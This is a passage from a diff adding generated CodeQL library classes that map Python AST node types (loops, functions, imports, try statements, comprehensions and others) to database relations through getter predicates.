+} + +library class FloorDiv_ extends @py_FloorDiv, Operator { + + override string toString() { + result = "FloorDiv" + } + +} + +library class For_ extends @py_For, Stmt { + + + /** Gets the target of this for statement. */ + Expr getTarget() { + py_exprs(result, _, this, 1) + } + + + /** Gets the iterable of this for statement. */ + Expr getIter() { + py_exprs(result, _, this, 2) + } + + + /** Gets the body of this for statement. */ + StmtList getBody() { + py_stmt_lists(result, this, 3) + } + + + /** Gets the nth statement of this for statement. */ + Stmt getStmt(int index) { + result = this.getBody().getItem(index) + } + + /** Gets a statement of this for statement. */ + Stmt getAStmt() { + result = this.getBody().getAnItem() + } + + + /** Gets the else block of this for statement. */ + StmtList getOrelse() { + py_stmt_lists(result, this, 4) + } + + + /** Gets the nth else statement of this for statement. */ + Stmt getOrelse(int index) { + result = this.getOrelse().getItem(index) + } + + /** Gets an else statement of this for statement. */ + Stmt getAnOrelse() { + result = this.getOrelse().getAnItem() + } + + + /** Whether the async property of this for statement is true. */ + predicate isAsync() { + py_bools(this, 5) + } + + override string toString() { + result = "For" + } + +} + +library class FormattedValue_ extends @py_FormattedValue, Expr { + + + /** Gets the expression to be formatted of this formatted value. */ + Expr getValue() { + py_exprs(result, _, this, 2) + } + + + /** Gets the type conversion of this formatted value. */ + string getConversion() { + py_strs(result, this, 3) + } + + + /** Gets the format specifier of this formatted value. */ + Fstring getFormatSpec() { + py_exprs(result, _, this, 4) + } + + override string toString() { + result = "FormattedValue" + } + +} + +library class Function_ extends @py_Function { + + + /** Gets the name of this function. */ + string getName() { + py_strs(result, this, 0) + } + + + /** Gets the positional parameter list of this function. */ + ParameterList getArgs() { + py_parameter_lists(result, this) + } + + + /** Gets the nth positional parameter of this function. */ + Parameter getArg(int index) { + result = this.getArgs().getItem(index) + } + + /** Gets a positional parameter of this function. */ + Parameter getAnArg() { + result = this.getArgs().getAnItem() + } + + + /** Gets the tuple (*) parameter of this function. */ + Expr getVararg() { + py_exprs(result, _, this, 2) + } + + + /** Gets the keyword-only parameter list of this function. */ + ExprList getKwonlyargs() { + py_expr_lists(result, this, 3) + } + + + /** Gets the nth keyword-only parameter of this function. */ + Expr getKwonlyarg(int index) { + result = this.getKwonlyargs().getItem(index) + } + + /** Gets a keyword-only parameter of this function. */ + Expr getAKwonlyarg() { + result = this.getKwonlyargs().getAnItem() + } + + + /** Gets the dictionary (**) parameter of this function. */ + Expr getKwarg() { + py_exprs(result, _, this, 4) + } + + + /** Gets the body of this function. */ + StmtList getBody() { + py_stmt_lists(result, this, 5) + } + + + /** Gets the nth statement of this function. */ + Stmt getStmt(int index) { + result = this.getBody().getItem(index) + } + + /** Gets a statement of this function. */ + Stmt getAStmt() { + result = this.getBody().getAnItem() + } + + + /** Whether the async property of this function is true. */ + predicate isAsync() { + py_bools(this, 6) + } + + FunctionParent getParent() { + py_Functions(this, result) + } + + string toString() { + result = "Function" + } + +} + +library class FunctionExpr_ extends @py_FunctionExpr, Expr { + + + /** Gets the name of this function definition. */ + string getName() { + py_strs(result, this, 2) + } + + + /** Gets the parameters of this function definition. */ + Arguments getArgs() { + py_arguments(result, this) + } + + + /** Gets the return annotation of this function definition. */ + Expr getReturns() { + py_exprs(result, _, this, 4) + } + + + /** Gets the function scope of this function definition. */ + Function getInnerScope() { + py_Functions(result, this) + } + + override string toString() { + result = "FunctionExpr" + } + +} + +library class FunctionParent_ extends @py_Function_parent { + + string toString() { + result = "FunctionParent" + } + +} + +library class GeneratorExp_ extends @py_GeneratorExp, Expr { + + + /** Gets the implementation of this generator expression. */ + Function getFunction() { + py_Functions(result, this) + } + + + /** Gets the iterable of this generator expression. */ + Expr getIterable() { + py_exprs(result, _, this, 3) + } + + override string toString() { + result = "GeneratorExp" + } + +} + +library class Global_ extends @py_Global, Stmt { + + + /** Gets the names of this global statement. */ + StringList getNames() { + py_str_lists(result, this) + } + + + /** Gets the nth name of this global statement. */ + string getName(int index) { + result = this.getNames().getItem(index) + } + + /** Gets a name of this global statement. */ + string getAName() { + result = this.getNames().getAnItem() + } + + override string toString() { + result = "Global" + } + +} + +library class Gt_ extends @py_Gt, Cmpop { + + override string toString() { + result = "Gt" + } + +} + +library class GtE_ extends @py_GtE, Cmpop { + + override string toString() { + result = "GtE" + } + +} + +library class If_ extends @py_If, Stmt { + + + /** Gets the test of this if statement. */ + Expr getTest() { + py_exprs(result, _, this, 1) + } + + + /** Gets the if-true block of this if statement. */ + StmtList getBody() { + py_stmt_lists(result, this, 2) + } + + + /** Gets the nth if-true statement of this if statement. */ + Stmt getStmt(int index) { + result = this.getBody().getItem(index) + } + + /** Gets an if-true statement of this if statement. */ + Stmt getAStmt() { + result = this.getBody().getAnItem() + } + + + /** Gets the if-false block of this if statement. */ + StmtList getOrelse() { + py_stmt_lists(result, this, 3) + } + + + /** Gets the nth if-false statement of this if statement. */ + Stmt getOrelse(int index) { + result = this.getOrelse().getItem(index) + } + + /** Gets an if-false statement of this if statement. */ + Stmt getAnOrelse() { + result = this.getOrelse().getAnItem() + } + + override string toString() { + result = "If" + } + +} + +library class IfExp_ extends @py_IfExp, Expr { + + + /** Gets the test of this if expression. */ + Expr getTest() { + py_exprs(result, _, this, 2) + } + + + /** Gets the if-true expression of this if expression. */ + Expr getBody() { + py_exprs(result, _, this, 3) + } + + + /** Gets the if-false expression of this if expression. */ + Expr getOrelse() { + py_exprs(result, _, this, 4) + } + + override string toString() { + result = "IfExp" + } + +} + +library class Import_ extends @py_Import, Stmt { + + + /** Gets the alias list of this import statement. */ + AliasList getNames() { + py_alias_lists(result, this) + } + + + /** Gets the nth alias of this import statement. */ + Alias getName(int index) { + result = this.getNames().getItem(index) + } + + /** Gets an alias of this import statement. */ + Alias getAName() { + result = this.getNames().getAnItem() + } + + override string toString() { + result = "Import" + } + +} + +library class ImportExpr_ extends @py_ImportExpr, Expr { + + + /** Gets the level of this import expression. */ + int getLevel() { + py_ints(result, this) + } + + + /** Gets the name of this import expression. */ + string getName() { + py_strs(result, this, 3) + } + + + /** Whether the top level property of this import expression is true. */ + predicate isTop() { + py_bools(this, 4) + } + + override string toString() { + result = "ImportExpr" + } + +} + +library class ImportStar_ extends @py_ImportStar, Stmt { + + + /** Gets the module of this import * statement. */ + Expr getModule() { + py_exprs(result, _, this, 1) + } + + override string toString() { + result = "ImportStar" + } + +} + +library class ImportMember_ extends @py_ImportMember, Expr { + + + /** Gets the module of this from import. */ + Expr getModule() { + py_exprs(result, _, this, 2) + } + + + /** Gets the name of this from import. */ + string getName() { + py_strs(result, this, 3) + } + + override string toString() { + result = "ImportMember" + } + +} + +library class In_ extends @py_In, Cmpop { + + override string toString() { + result = "In" + } + +} + +library class Invert_ extends @py_Invert, Unaryop { + + override string toString() { + result = "Invert" + } + +} + +library class Is_ extends @py_Is, Cmpop { + + override string toString() { + result = "Is" + } + +} + +library class IsNot_ extends @py_IsNot, Cmpop { + + override string toString() { + result = "IsNot" + } + +} + +library class Fstring_ extends @py_Fstring, Expr { + + + /** Gets the values of this formatted string literal. */ + ExprList getValues() { + py_expr_lists(result, this, 2) + } + + + /** Gets the nth value of this formatted string literal. */ + Expr getValue(int index) { + result = this.getValues().getItem(index) + } + + /** Gets a value of this formatted string literal. */ + Expr getAValue() { + result = this.getValues().getAnItem() + } + + override ExprParent getParent() { + py_exprs(this, _, result, _) + } + + override string toString() { + result = "Fstring" + } + +} + +library class KeyValuePair_ extends @py_KeyValuePair, DictItem { + + + /** Gets the location of this key-value pair. */ + override Location getLocation() { + py_locations(result, this) + } + + + /** Gets the value of this key-value pair. */ + Expr getValue() { + py_exprs(result, _, this, 1) + } + + + /** Gets the key of this key-value pair. */ + Expr getKey() { + py_exprs(result, _, this, 2) + } + + override string toString() { + result = "KeyValuePair" + } + +} + +library class LShift_ extends @py_LShift, Operator { + + override string toString() { + result = "LShift" + } + +} + +library class Lambda_ extends @py_Lambda, Expr { + + + /** Gets the arguments of this lambda expression. */ + Arguments getArgs() { + py_arguments(result, this) + } + + + /** Gets the function scope of this lambda expression. */ + Function getInnerScope() { + py_Functions(result, this) + } + + override string toString() { + result = "Lambda" + } + +} + +library class List_ extends @py_List, Expr { + + + /** Gets the element list of this list expression. */ + ExprList getElts() { + py_expr_lists(result, this, 2) + } + + + /** Gets the nth element of this list expression. */ + Expr getElt(int index) { + result = this.getElts().getItem(index) + } + + /** Gets an element of this list expression. */ + Expr getAnElt() { + result = this.getElts().getAnItem() + } + + + /** Gets the context of this list expression. */ + ExprContext getCtx() { + py_expr_contexts(result, _, this) + } + + override string toString() { + result = "List" + } + +} + +library class ListComp_ extends @py_ListComp, Expr { + + + /** Gets the implementation of this list comprehension. */ + Function getFunction() { + py_Functions(result, this) + } + + + /** Gets the iterable of this list comprehension. */ + Expr getIterable() { + py_exprs(result, _, this, 3) + } + + + /** Gets the generators of this list comprehension. */ + ComprehensionList getGenerators() { + py_comprehension_lists(result, this) + } + + + /** Gets the nth generator of this list comprehension. */ + Comprehension getGenerator(int index) { + result = this.getGenerators().getItem(index) + } + + /** Gets a generator of this list comprehension. */ + Comprehension getAGenerator() { + result = this.getGenerators().getAnItem() + } + + + /** Gets the elements of this list comprehension. */ + Expr getElt() { + py_exprs(result, _, this, 5) + } + + override string toString() { + result = "ListComp" + } + +} + +library class Load_ extends @py_Load, ExprContext { + + override string toString() { + result = "Load" + } + +} + +library class Lt_ extends @py_Lt, Cmpop { + + override string toString() { + result = "Lt" + } + +} + +library class LtE_ extends @py_LtE, Cmpop { + + override string toString() { + result = "LtE" + } + +} + +library class MatMult_ extends @py_MatMult, Operator { + + override string toString() { + result = "MatMult" + } + +} + +library class Mod_ extends @py_Mod, Operator { + + override string toString() { + result = "Mod" + } + +} + +library class Module_ extends @py_Module { + + + /** Gets the name of this module. */ + string getName() { + py_strs(result, this, 0) + } + + + /** Gets the hash (not populated) of this module. */ + string getHash() { + py_strs(result, this, 1) + } + + + /** Gets the body of this module. */ + StmtList getBody() { + py_stmt_lists(result, this, 2) + } + + + /** Gets the nth statement of this module. */ + Stmt getStmt(int index) { + result = this.getBody().getItem(index) + } + + /** Gets a statement of this module. */ + Stmt getAStmt() { + result = this.getBody().getAnItem() + } + + + /** Gets the kind of this module. */ + string getKind() { + py_strs(result, this, 3) + } + + string toString() { + result = "Module" + } + +} + +library class Mult_ extends @py_Mult, Operator { + + override string toString() { + result = "Mult" + } + +} + +library class Name_ extends @py_Name, Expr { + + + /** Gets the variable of this name expression. */ + Variable getVariable() { + py_variables(result, this) + } + + + /** Gets the context of this name expression. */ + ExprContext getCtx() { + py_expr_contexts(result, _, this) + } + + override ExprParent getParent() { + py_exprs(this, _, result, _) + } + + override string toString() { + result = "Name" + } + +} + +library class Nonlocal_ extends @py_Nonlocal, Stmt { + + + /** Gets the names of this nonlocal statement. */ + StringList getNames() { + py_str_lists(result, this) + } + + + /** Gets the nth name of this nonlocal statement. */ + string getName(int index) { + result = this.getNames().getItem(index) + } + + /** Gets a name of this nonlocal statement. */ + string getAName() { + result = this.getNames().getAnItem() + } + + override string toString() { + result = "Nonlocal" + } + +} + +library class Not_ extends @py_Not, Unaryop { + + override string toString() { + result = "Not" + } + +} + +library class NotEq_ extends @py_NotEq, Cmpop { + + override string toString() { + result = "NotEq" + } + +} + +library class NotIn_ extends @py_NotIn, Cmpop { + + override string toString() { + result = "NotIn" + } + +} + +library class Num_ extends @py_Num, Expr { + + + /** Gets the value of this numeric literal. */ + string getN() { + py_numbers(result, this, 2) + } + + + /** Gets the text of this numeric literal. */ + string getText() { + py_numbers(result, this, 3) + } + + override string toString() { + result = "Num" + } + +} + +library class Or_ extends @py_Or, Boolop { + + override string toString() { + result = "Or" + } + +} + +library class Param_ extends @py_Param, ExprContext { + + override string toString() { + result = "Param" + } + +} + +library class Pass_ extends @py_Pass, Stmt { + + override string toString() { + result = "Pass" + } + +} + +library class PlaceHolder_ extends @py_PlaceHolder, Expr { + + + /** Gets the variable of this template place-holder expression. */ + Variable getVariable() { + py_variables(result, this) + } + + + /** Gets the context of this template place-holder expression. */ + ExprContext getCtx() { + py_expr_contexts(result, _, this) + } + + override string toString() { + result = "PlaceHolder" + } + +} + +library class Pow_ extends @py_Pow, Operator { + + override string toString() { + result = "Pow" + } + +} + +library class Print_ extends @py_Print, Stmt { + + + /** Gets the destination of this print statement. */ + Expr getDest() { + py_exprs(result, _, this, 1) + } + + + /** Gets the values of this print statement. */ + ExprList getValues() { + py_expr_lists(result, this, 2) + } + + + /** Gets the nth value of this print statement. */ + Expr getValue(int index) { + result = this.getValues().getItem(index) + } + + /** Gets a value of this print statement. */ + Expr getAValue() { + result = this.getValues().getAnItem() + } + + + /** Whether the new line property of this print statement is true. */ + predicate isNl() { + py_bools(this, 3) + } + + override string toString() { + result = "Print" + } + +} + +library class RShift_ extends @py_RShift, Operator { + + override string toString() { + result = "RShift" + } + +} + +library class Raise_ extends @py_Raise, Stmt { + + + /** Gets the exception of this raise statement. */ + Expr getExc() { + py_exprs(result, _, this, 1) + } + + + /** Gets the cause of this raise statement. */ + Expr getCause() { + py_exprs(result, _, this, 2) + } + + + /** Gets the type of this raise statement. */ + Expr getType() { + py_exprs(result, _, this, 3) + } + + + /** Gets the instance of this raise statement. */ + Expr getInst() { + py_exprs(result, _, this, 4) + } + + + /** Gets the traceback of this raise statement. */ + Expr getTback() { + py_exprs(result, _, this, 5) + } + + override string toString() { + result = "Raise" + } + +} + +library class Repr_ extends @py_Repr, Expr { + + + /** Gets the value of this backtick expression. */ + Expr getValue() { + py_exprs(result, _, this, 2) + } + + override string toString() { + result = "Repr" + } + +} + +library class Return_ extends @py_Return, Stmt { + + + /** Gets the value of this return statement. */ + Expr getValue() { + py_exprs(result, _, this, 1) + } + + override string toString() { + result = "Return" + } + +} + +library class Set_ extends @py_Set, Expr { + + + /** Gets the elements of this set expression. */ + ExprList getElts() { + py_expr_lists(result, this, 2) + } + + + /** Gets the nth element of this set expression. */ + Expr getElt(int index) { + result = this.getElts().getItem(index) + } + + /** Gets an element of this set expression. */ + Expr getAnElt() { + result = this.getElts().getAnItem() + } + + override string toString() { + result = "Set" + } + +} + +library class SetComp_ extends @py_SetComp, Expr { + + + /** Gets the implementation of this set comprehension. */ + Function getFunction() { + py_Functions(result, this) + } + + + /** Gets the iterable of this set comprehension. */ + Expr getIterable() { + py_exprs(result, _, this, 3) + } + + override string toString() { + result = "SetComp" + } + +} + +library class Slice_ extends @py_Slice, Expr { + + + /** Gets the start of this slice. */ + Expr getStart() { + py_exprs(result, _, this, 2) + } + + + /** Gets the stop of this slice. */ + Expr getStop() { + py_exprs(result, _, this, 3) + } + + + /** Gets the step of this slice. */ + Expr getStep() { + py_exprs(result, _, this, 4) + } + + override string toString() { + result = "Slice" + } + +} + +library class Starred_ extends @py_Starred, Expr { + + + /** Gets the value of this starred expression. */ + Expr getValue() { + py_exprs(result, _, this, 2) + } + + + /** Gets the context of this starred expression. */ + ExprContext getCtx() { + py_expr_contexts(result, _, this) + } + + override string toString() { + result = "Starred" + } + +} + +library class Store_ extends @py_Store, ExprContext { + + override string toString() { + result = "Store" + } + +} + +library class Str_ extends @py_Str, Expr { + + + /** Gets the text of this string literal. */ + string getS() { + py_strs(result, this, 2) + } + + + /** Gets the prefix of this string literal. */ + string getPrefix() { + py_strs(result, this, 3) + } + + + /** Gets the implicitly_concatenated_parts of this string literal. */ + StringPartList getImplicitlyConcatenatedParts() { + py_StringPart_lists(result, this) + } + + + /** Gets the nth implicitly_concatenated_part of this string literal. */ + StringPart getImplicitlyConcatenatedPart(int index) { + result = this.getImplicitlyConcatenatedParts().getItem(index) + } + + /** Gets an implicitly_concatenated_part of this string literal. */ + StringPart getAnImplicitlyConcatenatedPart() { + result = this.getImplicitlyConcatenatedParts().getAnItem() + } + + override string toString() { + result = "Str" + } + +} + +library class StringPart_ extends @py_StringPart { + + + /** Gets the text of this implicitly concatenated part. */ + string getText() { + py_strs(result, this, 0) + } + + + /** Gets the location of this implicitly concatenated part. */ + Location getLocation() { + py_locations(result, this) + } + + StringPartList getParent() { + py_StringParts(this, result, _) + } + + string toString() { + result = "StringPart" + } + +} + +library class StringPartList_ extends @py_StringPart_list { + + BytesOrStr getParent() { + py_StringPart_lists(this, result) + } + + /** Gets an item of this implicitly concatenated part list */ + StringPart getAnItem() { + py_StringParts(result, this, _) + } + + /** Gets the nth item of this implicitly concatenated part list */ + StringPart getItem(int index) { + py_StringParts(result, this, index) + } + + string toString() { + result = "StringPartList" + } + +} + +library class Sub_ extends @py_Sub, Operator { + + override string toString() { + result = "Sub" + } + +} + +library class Subscript_ extends @py_Subscript, Expr { + + + /** Gets the value of this subscript expression. */ + Expr getValue() { + py_exprs(result, _, this, 2) + } + + + /** Gets the index of this subscript expression. */ + Expr getIndex() { + py_exprs(result, _, this, 3) + } + + + /** Gets the context of this subscript expression. */ + ExprContext getCtx() { + py_expr_contexts(result, _, this) + } + + override string toString() { + result = "Subscript" + } + +} + +library class TemplateDottedNotation_ extends @py_TemplateDottedNotation, Expr { + + + /** Gets the object of this template dotted notation expression. */ + Expr getValue() { + py_exprs(result, _, this, 2) + } + + + /** Gets the attribute name of this template dotted notation expression. */ + string getAttr() { + py_strs(result, this, 3) + } + + + /** Gets the context of this template dotted notation expression. */ + ExprContext getCtx() { + py_expr_contexts(result, _, this) + } + + override string toString() { + result = "TemplateDottedNotation" + } + +} + +library class TemplateWrite_ extends @py_TemplateWrite, Stmt { + + + /** Gets the value of this template write statement. */ + Expr getValue() { + py_exprs(result, _, this, 1) + } + + override string toString() { + result = "TemplateWrite" + } + +} + +library class Try_ extends @py_Try, Stmt { + + + /** Gets the body of this try statement. */ + StmtList getBody() { + py_stmt_lists(result, this, 1) + } + + + /** Gets the nth statement of this try statement. */ + Stmt getStmt(int index) { + result = this.getBody().getItem(index) + } + + /** Gets a statement of this try statement. */ + Stmt getAStmt() { + result = this.getBody().getAnItem() + } + + + /** Gets the else block of this try statement. */ + StmtList getOrelse() { + py_stmt_lists(result, this, 2) + } + + + /** Gets the nth else statement of this try statement. */ + Stmt getOrelse(int index) { + result = this.getOrelse().getItem(index) + } + + /** Gets an else statement of this try statement. */ + Stmt getAnOrelse() { + result = this.getOrelse().getAnItem() + } + + + /** Gets the exception handlers of this try statement. */ + StmtList getHandlers() { + py_stmt_lists(result, this, 3) + } + + + /** Gets the nth exception handler of this try statement. */ + Stmt getHandler(int index) { + result = this.getHandlers().getItem(index) + } + + /** Gets an exception handler of this try statement. */ + Stmt getAHandler() { + result = this.getHandlers().getAnItem() + } + + + /** Gets the finally block of this try statement. */ + StmtList getFinalbody() { + py_stmt_lists(result, this, 4) + } + + + /** Gets the nth finally statement of this try statement. */ + Stmt getFinalstmt(int index) { + result = this.getFinalbody().getItem(index) + } + + /** Gets a finally statement of this try statement. */ + Stmt getAFinalstmt() { + result = this.getFinalbody().getAnItem() + } + + override string toString() { + result = "Try" + } + +} + +library class Tuple_ extends @py_Tuple, Expr { + + + /** Gets the elements of this tuple expression. */ + ExprList getElts() { + py_expr_lists(result, this, 2) + } + + + /** Gets the nth element of this tuple expression. */ + Expr getElt(int index) { + result = this.getElts().getItem(index) + } + + /** Gets an element of this tuple expression. */ + Expr getAnElt() { + result = this.getElts().getAnItem() + } + + + /** Gets the context of this tuple expression. */ + ExprContext getCtx() { + py_expr_contexts(result, _, this) + } + + override ExprParent getParent() { + py_exprs(this, _, result, _) + } + + override string toString() { + result = "Tuple" + } + +} + +library class UAdd_ extends @py_UAdd, Unaryop { + + override string toString() { + result = "UAdd" + } + +} + +library class USub_ extends @py_USub, Unaryop { + + override string toString() { + result = "USub" + } + +} + +library class UnaryExpr_ extends @py_UnaryExpr, Expr { + + + /** Gets the operator of this unary expression. */ + Unaryop getOp() { + py_unaryops(result, _, this) + } + + + /** Gets the operand of this unary expression. */ + Expr getOperand() { + py_exprs(result, _, this, 3) + } + + override string toString() { + result = "UnaryExpr" + } + +} + +library class While_ extends @py_While, Stmt { + + + /** Gets the test of this while statement. */ + Expr getTest() { + py_exprs(result, _, this, 1) + } + + + /** Gets the body of this while statement. */ + StmtList getBody() { + py_stmt_lists(result, this, 2) + } + + + /** Gets the nth statement of this while statement. */ + Stmt getStmt(int index) { + result = this.getBody().getItem(index) + } + + /** Gets a statement of this while statement. */ + Stmt getAStmt() { + result = this.getBody().getAnItem() + } + + + /** Gets the else block of this while statement. */ + StmtList getOrelse() { + py_stmt_lists(result, this, 3) + } + + + /** Gets the nth else statement of this while statement. */ + Stmt getOrelse(int index) { + result = this.getOrelse().getItem(index) + } + + /** Gets an else statement of this while statement. */ + Stmt getAnOrelse() { + result = this.getOrelse().getAnItem() + } + + override string toString() { + result = "While" + } + +} + +library class With_ extends @py_With, Stmt { + + + /** Gets the context manager of this with statement. */ + Expr getContextExpr() { + py_exprs(result, _, this, 1) + } + + + /** Gets the optional variable of this with statement. */ + Expr getOptionalVars() { + py_exprs(result, _, this, 2) + } + + + /** Gets the body of this with statement. */ + StmtList getBody() { + py_stmt_lists(result, this, 3) + } + + + /** Gets the nth statement of this with statement. */ + Stmt getStmt(int index) { + result = this.getBody().getItem(index) + } + + /** Gets a statement of this with statement. */ + Stmt getAStmt() { + result = this.getBody().getAnItem() + } + + + /** Whether the async property of this with statement is true. */ + predicate isAsync() { + py_bools(this, 4) + } + + override string toString() { + result = "With" + } + +} + +library class Yield_ extends @py_Yield, Expr { + + + /** Gets the value of this yield expression. */ + Expr getValue() { + py_exprs(result, _, this, 2) + } + + override string toString() { + result = "Yield" + } + +} + +library class YieldFrom_ extends @py_YieldFrom, Expr { + + + /** Gets the value of this yield-from expression. */ + Expr getValue() { + py_exprs(result, _, this, 2) + } + + override string toString() { + result = "YieldFrom" + } + +} + +library class Alias_ extends @py_alias { + + + /** Gets the value of this alias. */ + Expr getValue() { + py_exprs(result, _, this, 0) + } + + + /** Gets the name of this alias. */ + Expr getAsname() { + py_exprs(result, _, this, 1) + } + + AliasList getParent() { + py_aliases(this, result, _) + } + + string toString() { + result = "Alias" + } + +} + +library class AliasList_ extends @py_alias_list { + + Import getParent() { + py_alias_lists(this, result) + } + + /** Gets an item of this alias list */ + Alias getAnItem() { + py_aliases(result, this, _) + } + + /** Gets the nth item of this alias list */ + Alias getItem(int index) { + py_aliases(result, this, index) + } + + string toString() { + result = "AliasList" + } + +} + +library class Arguments_ extends @py_arguments { + + + /** Gets the keyword default values of this parameters definition. */ + ExprList getKwDefaults() { + py_expr_lists(result, this, 0) + } + + + /** Gets the nth keyword default value of this parameters definition. */ + Expr getKwDefault(int index) { + result = this.getKwDefaults().getItem(index) + } + + /** Gets a keyword default value of this parameters definition. */ + Expr getAKwDefault() { + result = this.getKwDefaults().getAnItem() + } + + + /** Gets the default values of this parameters definition. */ + ExprList getDefaults() { + py_expr_lists(result, this, 1) + } + + + /** Gets the nth default value of this parameters definition. */ + Expr getDefault(int index) { + result = this.getDefaults().getItem(index) + } + + /** Gets a default value of this parameters definition. */ + Expr getADefault() { + result = this.getDefaults().getAnItem() + } + + + /** Gets the annotations of this parameters definition. */ + ExprList getAnnotations() { + py_expr_lists(result, this, 2) + } + + + /** Gets the nth annotation of this parameters definition. */ + Expr getAnnotation(int index) { + result = this.getAnnotations().getItem(index) + } + + /** Gets an annotation of this parameters definition. */ + Expr getAnAnnotation() { + result = this.getAnnotations().getAnItem() + } + + + /** Gets the *arg annotation of this parameters definition. */ + Expr getVarargannotation() { + py_exprs(result, _, this, 3) + } + + + /** Gets the **kwarg annotation of this parameters definition. */ + Expr getKwargannotation() { + py_exprs(result, _, this, 4) + } + + + /** Gets the kw_annotations of this parameters definition. */ + ExprList getKwAnnotations() { + py_expr_lists(result, this, 5) + } + + + /** Gets the nth kw_annotation of this parameters definition. */ + Expr getKwAnnotation(int index) { + result = this.getKwAnnotations().getItem(index) + } + + /** Gets a kw_annotation of this parameters definition. */ + Expr getAKwAnnotation() { + result = this.getKwAnnotations().getAnItem() + } + + ArgumentsParent getParent() { + py_arguments(this, result) + } + + string toString() { + result = "Arguments" + } + +} + +library class ArgumentsParent_ extends @py_arguments_parent { + + string toString() { + result = "ArgumentsParent" + } + +} + +library class AstNode_ extends @py_ast_node { + + string toString() { + result = "AstNode" + } + +} + +library class BoolParent_ extends @py_bool_parent { + + string toString() { + result = "BoolParent" + } + +} + +library class Boolop_ extends @py_boolop { + + BoolExpr getParent() { + py_boolops(this, _, result) + } + + string toString() { + result = "Boolop" + } + +} + +library class Cmpop_ extends @py_cmpop { + + CmpopList getParent() { + py_cmpops(this, _, result, _) + } + + string toString() { + result = "Cmpop" + } + +} + +library class CmpopList_ extends @py_cmpop_list { + + Compare getParent() { + py_cmpop_lists(this, result) + } + + /** Gets an item of this comparison operator list */ + Cmpop getAnItem() { + py_cmpops(result, _, this, _) + } + + /** Gets the nth item of this comparison operator list */ + Cmpop getItem(int index) { + py_cmpops(result, _, this, index) + } + + string toString() { + result = "CmpopList" + } + +} + +library class Comprehension_ extends @py_comprehension { + + + /** Gets the location of this comprehension. */ + Location getLocation() { + py_locations(result, this) + } + + + /** Gets the iterable of this comprehension. */ + Expr getIter() { + py_exprs(result, _, this, 1) + } + + + /** Gets the target of this comprehension. */ + Expr getTarget() { + py_exprs(result, _, this, 2) + } + + + /** Gets the conditions of this comprehension. */ + ExprList getIfs() { + py_expr_lists(result, this, 3) + } + + + /** Gets the nth condition of this comprehension. */ + Expr getIf(int index) { + result = this.getIfs().getItem(index) + } + + /** Gets a condition of this comprehension. */ + Expr getAnIf() { + result = this.getIfs().getAnItem() + } + + ComprehensionList getParent() { + py_comprehensions(this, result, _) + } + + string toString() { + result = "Comprehension" + } + +} + +library class ComprehensionList_ extends @py_comprehension_list { + + ListComp getParent() { + py_comprehension_lists(this, result) + } + + /** Gets an item of this comprehension list */ + Comprehension getAnItem() { + py_comprehensions(result, this, _) + } + + /** Gets the nth item of this comprehension list */ + Comprehension getItem(int index) { + py_comprehensions(result, this, index) + } + + string toString() { + result = "ComprehensionList" + } + +} + +library class DictItem_ extends @py_dict_item { + + DictItemList getParent() { + py_dict_items(this, _, result, _) + } + + string toString() { + result = "DictItem" + } + +} + +library class DictItemList_ extends @py_dict_item_list { + + DictItemListParent getParent() { + py_dict_item_lists(this, result) + } + + /** Gets an item of this dict_item list */ + DictItem getAnItem() { + py_dict_items(result, _, this, _) + } + + /** Gets the nth item of this dict_item list */ + DictItem getItem(int index) { + py_dict_items(result, _, this, index) + } + + string toString() { + result = "DictItemList" + } + +} + +library class DictItemListParent_ extends @py_dict_item_list_parent { + + string toString() { + result = "DictItemListParent" + } + +} + +library class Expr_ extends @py_expr { + + + /** Gets the location of this expression. */ + Location getLocation() { + py_locations(result, this) + } + + + /** Whether the parenthesised property of this expression is true. */ + predicate isParenthesised() { + py_bools(this, 1) + } + + ExprParent getParent() { + py_exprs(this, _, result, _) + } + + string toString() { + result = "Expr" + } + +} + +library class ExprContext_ extends @py_expr_context { + + ExprContextParent getParent() { + py_expr_contexts(this, _, result) + } + + string toString() { + result = "ExprContext" + } + +} + +library class ExprContextParent_ extends @py_expr_context_parent { + + string toString() { + result = "ExprContextParent" + } + +} + +library class ExprList_ extends @py_expr_list { + + ExprListParent getParent() { + py_expr_lists(this, result, _) + } + + /** Gets an item of this expression list */ + Expr getAnItem() { + py_exprs(result, _, this, _) + } + + /** Gets the nth item of this expression list */ + Expr getItem(int index) { + py_exprs(result, _, this, index) + } + + string toString() { + result = "ExprList" + } + +} + +library class ExprListParent_ extends @py_expr_list_parent { + + string toString() { + result = "ExprListParent" + } + +} + +library class ExprOrStmt_ extends @py_expr_or_stmt { + + string toString() { + result = "ExprOrStmt" + } + +} + +library class ExprParent_ extends @py_expr_parent { + + string toString() { + result = "ExprParent" + } + +} + +library class Keyword_ extends @py_keyword, DictItem { + + + /** Gets the location of this keyword argument. */ + override Location getLocation() { + py_locations(result, this) + } + + + /** Gets the value of this keyword argument. */ + Expr getValue() { + py_exprs(result, _, this, 1) + } + + + /** Gets the arg of this keyword argument. */ + string getArg() { + py_strs(result, this, 2) + } + + override string toString() { + result = "Keyword" + } + +} + +library class LocationParent_ extends @py_location_parent { + + string toString() { + result = "LocationParent" + } + +} + +library class Operator_ extends @py_operator { + + BinaryExpr getParent() { + py_operators(this, _, result) + } + + string toString() { + result = "Operator" + } + +} + +library class Parameter_ extends @py_parameter { + + string toString() { + result = "Parameter" + } + +} + +library class Scope_ extends @py_scope { + + string toString() { + result = "Scope" + } + +} + +library class Stmt_ extends @py_stmt { + + + /** Gets the location of this statement. */ + Location getLocation() { + py_locations(result, this) + } + + StmtList getParent() { + py_stmts(this, _, result, _) + } + + string toString() { + result = "Stmt" + } + +} + +library class StmtList_ extends @py_stmt_list { + + StmtListParent getParent() { + py_stmt_lists(this, result, _) + } + + /** Gets an item of this statement list */ + Stmt getAnItem() { + py_stmts(result, _, this, _) + } + + /** Gets the nth item of this statement list */ + Stmt getItem(int index) { + py_stmts(result, _, this, index) + } + + string toString() { + result = "StmtList" + } + +} + +library class StmtListParent_ extends @py_stmt_list_parent { + + string toString() { + result = "StmtListParent" + } + +} + +library class StringList_ extends @py_str_list { + + StrListParent getParent() { + py_str_lists(this, result) + } + + /** Gets an item of this string list */ + string getAnItem() { + py_strs(result, this, _) + } + + /** Gets the nth item of this string list */ + string getItem(int index) { + py_strs(result, this, index) + } + + string toString() { + result = "StringList" + } + +} + +library class StrListParent_ extends @py_str_list_parent { + + string toString() { + result = "StrListParent" + } + +} + +library class StrParent_ extends @py_str_parent { + + string toString() { + result = "StrParent" + } + +} + +library class Unaryop_ extends @py_unaryop { + + UnaryExpr getParent() { + py_unaryops(this, _, result) + } + + string toString() { + result = "Unaryop" + } + +} + +library class VariableParent_ extends @py_variable_parent { + + string toString() { + result = "VariableParent" + 